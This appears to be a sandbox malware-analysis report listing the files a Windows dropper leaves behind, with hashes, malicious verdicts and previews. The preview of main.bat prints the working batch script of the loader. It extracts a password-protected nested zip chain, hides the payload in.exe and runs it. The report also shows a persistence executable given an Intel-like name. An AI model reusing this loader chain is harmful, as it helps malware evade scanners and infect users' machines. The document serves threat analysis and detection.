Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................3.......0...@.................................W...k...........................h.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...xyuqnuvx. ,.......,.................@...imowcfit......2......./.............@....taggant.0....2.."..../.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	true
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	true
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	true
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	true
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	true
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	true
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	true
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	true
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	true
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
